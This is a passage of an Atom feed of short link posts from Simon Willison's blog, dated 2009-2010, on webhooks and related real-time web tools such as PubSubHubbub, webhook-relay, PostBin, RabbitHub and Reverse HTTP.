    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/comet"&gt;comet&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/django"&gt;django&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/michael-carter"&gt;michael-carter&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/php"&gt;php&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/rails"&gt;rails&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/recovered"&gt;recovered&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/hookbox"&gt;hookbox&lt;/a&gt;&lt;/p&gt;



</summary><category term="comet"/><category term="django"/><category term="javascript"/><category term="michael-carter"/><category term="php"/><category term="rails"/><category term="webhooks"/><category term="recovered"/><category term="hookbox"/></entry><entry><title>webhook-relay</title><link href="https://simonwillison.net/2010/Mar/19/simonws/#atom-tag" rel="alternate"/><published>2010-03-19T10:17:44+00:00</published><updated>2010-03-19T10:17:44+00:00</updated><id>https://simonwillison.net/2010/Mar/19/simonws/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://github.com/simonw/webhook-relay"&gt;webhook-relay&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Another of my experiments with Node.js: webhook-relay is a self-contained queue and webhook request sending agent. Your application can POST to it specifying a webhook alert to be sent off, and webhook-relay will place that request in an in-memory queue and send it on its own time, avoiding the need for your main application server to block until the outgoing request has been processed.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/experiments"&gt;experiments&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/nodejs"&gt;nodejs&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/projects"&gt;projects&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhookrelay"&gt;webhookrelay&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="experiments"/><category term="javascript"/><category term="nodejs"/><category term="projects"/><category term="webhookrelay"/><category term="webhooks"/></entry><entry><title>nginx_http_push_module</title><link href="https://simonwillison.net/2009/Oct/17/push/#atom-tag" rel="alternate"/><published>2009-10-17T16:48:31+00:00</published><updated>2009-10-17T16:48:31+00:00</updated><id>https://simonwillison.net/2009/Oct/17/push/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://github.com/slact/nginx_http_push_module"&gt;nginx_http_push_module&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
More clever design with webhooks—here’s an nginx module that provides a comet endpoint URL which will hang until a back end process POSTs to another URL on the same server. This makes it much easier to build asynchronous comet apps using regular synchronous web frameworks such as Django, PHP and Rails.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/comet"&gt;comet&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/django"&gt;django&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/nginx"&gt;nginx&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/php"&gt;php&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/rails"&gt;rails&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="comet"/><category term="django"/><category term="nginx"/><category term="php"/><category term="rails"/><category term="webhooks"/></entry><entry><title>Cloudvox</title><link href="https://simonwillison.net/2009/Oct/8/cloudvox/#atom-tag" rel="alternate"/><published>2009-10-08T23:31:05+00:00</published><updated>2009-10-08T23:31:05+00:00</updated><id>https://simonwillison.net/2009/Oct/8/cloudvox/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://cloudvox.com/"&gt;Cloudvox&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
A brand new startup offering “API-driven phone calls” with a beautifully simple webhooks based API.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/apis"&gt;apis&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/cloudvox"&gt;cloudvox&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/telephony"&gt;telephony&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="apis"/><category term="cloudvox"/><category term="telephony"/><category term="webhooks"/></entry><entry><title>PubSubHubbub for Google Alerts</title><link href="https://simonwillison.net/2009/Sep/23/pubsubhubbub/#atom-tag" rel="alternate"/><published>2009-09-23T21:30:35+00:00</published><updated>2009-09-23T21:30:35+00:00</updated><id>https://simonwillison.net/2009/Sep/23/pubsubhubbub/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://googlecode.blogspot.com/2009/08/towards-programmable-web-pubsubhubbub.html"&gt;PubSubHubbub for Google Alerts&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
“Think of it as a search API that tells *you* when it finds new results.”


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/google"&gt;google&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/google-alerts"&gt;google-alerts&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pubsubhubbub"&gt;pubsubhubbub&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/search-engines"&gt;search-engines&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="google"/><category term="google-alerts"/><category term="pubsubhubbub"/><category term="search-engines"/><category term="webhooks"/></entry><entry><title>cloud-crowd</title><link href="https://simonwillison.net/2009/Sep/21/cloudcrowd/#atom-tag" rel="alternate"/><published>2009-09-21T23:09:04+00:00</published><updated>2009-09-21T23:09:04+00:00</updated><id>https://simonwillison.net/2009/Sep/21/cloudcrowd/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://github.com/documentcloud/cloud-crowd"&gt;cloud-crowd&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
New parallel processing worker/job queue system with a strikingly elegant architecture. The central server is an HTTP server that manages job requests, which are farmed out to a number of node HTTP servers which fork off worker processes to do the work. All communication is webhook-style JSON, and the servers are implemented in Sinatra and Thin using a tiny amount of code. The web-based monitoring interface is simply beautiful, using canvas to display graphs showing the system’s overall activity.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/canvas"&gt;canvas&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/cloudcrowd"&gt;cloudcrowd&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/http"&gt;http&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/json"&gt;json&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/message-queues"&gt;message-queues&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ruby"&gt;ruby&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/sinatra"&gt;sinatra&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/thin"&gt;thin&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/workers"&gt;workers&lt;/a&gt;&lt;/p&gt;



</summary><category term="canvas"/><category term="cloudcrowd"/><category term="http"/><category term="json"/><category term="message-queues"/><category term="ruby"/><category term="sinatra"/><category term="thin"/><category term="webhooks"/><category term="workers"/></entry><entry><title>PostBin</title><link href="https://simonwillison.net/2009/Sep/21/postbin/#atom-tag" rel="alternate"/><published>2009-09-21T23:03:34+00:00</published><updated>2009-09-21T23:03:34+00:00</updated><id>https://simonwillison.net/2009/Sep/21/postbin/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://www.postbin.org/"&gt;PostBin&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Handy debugging tool for webhooks—create a TinyURL-style URL, then see a log of any POST requests made to that address.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/http"&gt;http&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/post"&gt;post&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/postbin"&gt;postbin&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="http"/><category term="post"/><category term="postbin"/><category term="webhooks"/></entry><entry><title>RSSCloud Vs. PubSubHubbub: Why The Fat Pings Win</title><link href="https://simonwillison.net/2009/Sep/10/rsscloud/#atom-tag" rel="alternate"/><published>2009-09-10T15:49:15+00:00</published><updated>2009-09-10T15:49:15+00:00</updated><id>https://simonwillison.net/2009/Sep/10/rsscloud/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://www.techcrunch.com/2009/09/09/rsscloud-vs-pubsubhubbub-why-the-fat-pings-win/"&gt;RSSCloud Vs. PubSubHubbub: Why The Fat Pings Win&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
A PubSubHubbub advocate explains the differences between the two proposals: most importantly, PubSubHubbub includes the actual new content with the “fat ping” whereas RSSCloud just notifies you that you should poll the RSS feed, leading to a potential thundering herd. I’m still hoping one of those specs will  detail a way in which they can be used for scalable regular WebHook-style notifications without any feed infrastructure at all.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/dogpile"&gt;dogpile&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pubsubhubbub"&gt;pubsubhubbub&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/rsscloud"&gt;rsscloud&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="dogpile"/><category term="pubsubhubbub"/><category term="rsscloud"/><category term="webhooks"/></entry><entry><title>Scriptlets - Quick web scripts</title><link href="https://simonwillison.net/2009/Aug/13/scriptlets/#atom-tag" rel="alternate"/><published>2009-08-13T13:51:10+00:00</published><updated>2009-08-13T13:51:10+00:00</updated><id>https://simonwillison.net/2009/Aug/13/scriptlets/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://www.scriptlets.org/"&gt;Scriptlets - Quick web scripts&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
From the prolific Jeff Lindsay, a pastebin-style tool for short server-side scripts written in Python, JavaScript or PHP that executes them within a Google App Engine powered sandbox. The Java code that implements the service is available on GitHub.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="http://blog.webhooks.org/2009/04/18/easy-hook-scripts-with-scriptlets/"&gt;Easy hook scripts with Scriptlets&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/github"&gt;github&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/google-app-engine"&gt;google-app-engine&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/java"&gt;java&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/jeff-lindsay"&gt;jeff-lindsay&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/open-source"&gt;open-source&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/php"&gt;php&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/scriptlets"&gt;scriptlets&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="github"/><category term="google-app-engine"/><category term="java"/><category term="javascript"/><category term="jeff-lindsay"/><category term="open-source"/><category term="php"/><category term="python"/><category term="scriptlets"/><category term="webhooks"/></entry><entry><title>The Pushbutton Web: Realtime Becomes Real</title><link href="https://simonwillison.net/2009/Jul/24/pushbutton/#atom-tag" rel="alternate"/><published>2009-07-24T18:30:01+00:00</published><updated>2009-07-24T18:30:01+00:00</updated><id>https://simonwillison.net/2009/Jul/24/pushbutton/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://dashes.com/anil/2009/07/the-pushbutton-web-realtime-becomes-real.html"&gt;The Pushbutton Web: Realtime Becomes Real&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Anil Dash is excited by the potential for PubSubHubBub and Webhooks to make near-real-time scalable event publishing accessible to regular web developers. So am I.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/anil-dash"&gt;anil-dash&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pubsubhubbub"&gt;pubsubhubbub&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pushbutton"&gt;pushbutton&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/realtime"&gt;realtime&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/realtimeweb"&gt;realtimeweb&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="anil-dash"/><category term="pubsubhubbub"/><category term="pushbutton"/><category term="realtime"/><category term="realtimeweb"/><category term="webhooks"/></entry><entry><title>Webhooks behind the firewall with Reverse HTTP</title><link href="https://simonwillison.net/2009/Jul/22/webhooks/#atom-tag" rel="alternate"/><published>2009-07-22T13:46:20+00:00</published><updated>2009-07-22T13:46:20+00:00</updated><id>https://simonwillison.net/2009/Jul/22/webhooks/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://www.lshift.net/blog/2009/07/21/webhooks-behind-the-firewall-with-reverse-http"&gt;Webhooks behind the firewall with Reverse HTTP&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Hookout is a Ruby / rack adapter that lets you serve a web application from behind a firewall, by binding to a Reverse HTTP proxy running on the internet (such as the free one provided by reversehttp.net). Useful for far more than just webhooks, this means you can easily expose any Ruby web service to the outside world. An implementation of this as a general purpose proxy server would make it useful for applications written in any language.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/comet"&gt;comet&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/hookout"&gt;hookout&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/reversehttp"&gt;reversehttp&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ruby"&gt;ruby&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="comet"/><category term="hookout"/><category term="reversehttp"/><category term="ruby"/><category term="webhooks"/></entry><entry><title>PubSub-over-Webhooks with RabbitHub</title><link href="https://simonwillison.net/2009/Jul/1/pubsuboverwebhooks/#atom-tag" rel="alternate"/><published>2009-07-01T20:22:52+00:00</published><updated>2009-07-01T20:22:52+00:00</updated><id>https://simonwillison.net/2009/Jul/1/pubsuboverwebhooks/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://www.lshift.net/blog/2009/06/30/pubsub-over-webhooks-with-rabbithub"&gt;PubSub-over-Webhooks with RabbitHub&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
RabbitMQ, the Erlang-powered AMQP message queue, is growing an HTTP interface based on webhooks and PubSubHubBub.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/amqp"&gt;amqp&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/erlang"&gt;erlang&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/http"&gt;http&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/message-queues"&gt;message-queues&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pubsubhubbub"&gt;pubsubhubbub&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/rabbitmq"&gt;rabbitmq&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="amqp"/><category term="erlang"/><category term="http"/><category term="message-queues"/><category term="pubsubhubbub"/><category term="rabbitmq"/><category term="webhooks"/></entry><entry><title>pubsubhubbub</title><link href="https://simonwillison.net/2009/Apr/20/pubsubhubbub/#atom-tag" rel="alternate"/><published>2009-04-20T18:49:45+00:00</published><updated>2009-04-20T18:49:45+00:00</updated><id>https://simonwillison.net/2009/Apr/20/pubsubhubbub/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://code.google.com/p/pubsubhubbub/"&gt;pubsubhubbub&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
From Brad Fitzpatrick, a simple but clever way of using web hooks (HTTP callbacks) to inform subscribers that an Atom feed has updated in almost real-time—solving the constant polling problem and making it easier for small sites to offer publish-subscribe APIs. Any Atom feed can delegate subscriber updates to a “hub” server. An example hub server implementation is provided running on App Engine.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/atom"&gt;atom&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/brad-fitzpatrick"&gt;brad-fitzpatrick&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/google-app-engine"&gt;google-app-engine&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pubsub"&gt;pubsub&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pubsubhubbub"&gt;pubsubhubbub&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/realtime"&gt;realtime&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="atom"/><category term="brad-fitzpatrick"/><category term="google-app-engine"/><category term="pubsub"/><category term="pubsubhubbub"/><category term="python"/><category term="realtime"/><category term="webhooks"/></entry><entry><title>Web Hooks and the Programmable World of Tomorrow</title><link href="https://simonwillison.net/2009/Feb/16/webhooks/#atom-tag" rel="alternate"/><published>2009-02-16T21:00:23+00:00</published><updated>2009-02-16T21:00:23+00:00</updated><id>https://simonwillison.net/2009/Feb/16/webhooks/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://www.slideshare.net/progrium/web-hooks-and-the-programmable-world-of-tomorrow-presentation"&gt;Web Hooks and the Programmable World of Tomorrow&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Tour de force presentation on Web Hooks by Jeff Lindsay. Tons of really good ideas—provided your application isn’t Flickr sized, there’s a good chance you could implement web hooks pretty cheaply and unleash a huge flurry of creativity from your users. GitHub makes a great case study here.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/apis"&gt;apis&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/flickr"&gt;flickr&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/github"&gt;github&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/jeff-lindsay"&gt;jeff-lindsay&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="apis"/><category term="flickr"/><category term="github"/><category term="jeff-lindsay"/><category term="webhooks"/></entry><entry><title>Post-Commit Web Hooks for Google Code Project Hosting</title><link href="https://simonwillison.net/2009/Feb/4/webhooks/#atom-tag" rel="alternate"/><published>2009-02-04T10:22:06+00:00</published><updated>2009-02-04T10:22:06+00:00</updated><id>https://simonwillison.net/2009/Feb/4/webhooks/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="http://google-code-updates.blogspot.com/2009/01/post-commit-web-hooks-for-google-code.html"&gt;Post-Commit Web Hooks for Google Code Project Hosting&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
I really, really like web hooks (which I’ve been calling “callback APIs”, but it looks like “web hooks” is the term that’s sticking). I’m interested in their scaling challenges—I’ve heard XMPP advocates argue that a web hook style model simply won’t scale for really large sites.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="http://bitworking.org/news/405/webhooks"&gt;Joe Gregorio&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/google"&gt;google&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/googlecodehosting"&gt;googlecodehosting&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/webhooks"&gt;webhooks&lt;/a&gt;&lt;/p&gt;



</summary><category term="google"/><category term="googlecodehosting"/><category term="webhooks"/></entry></feed>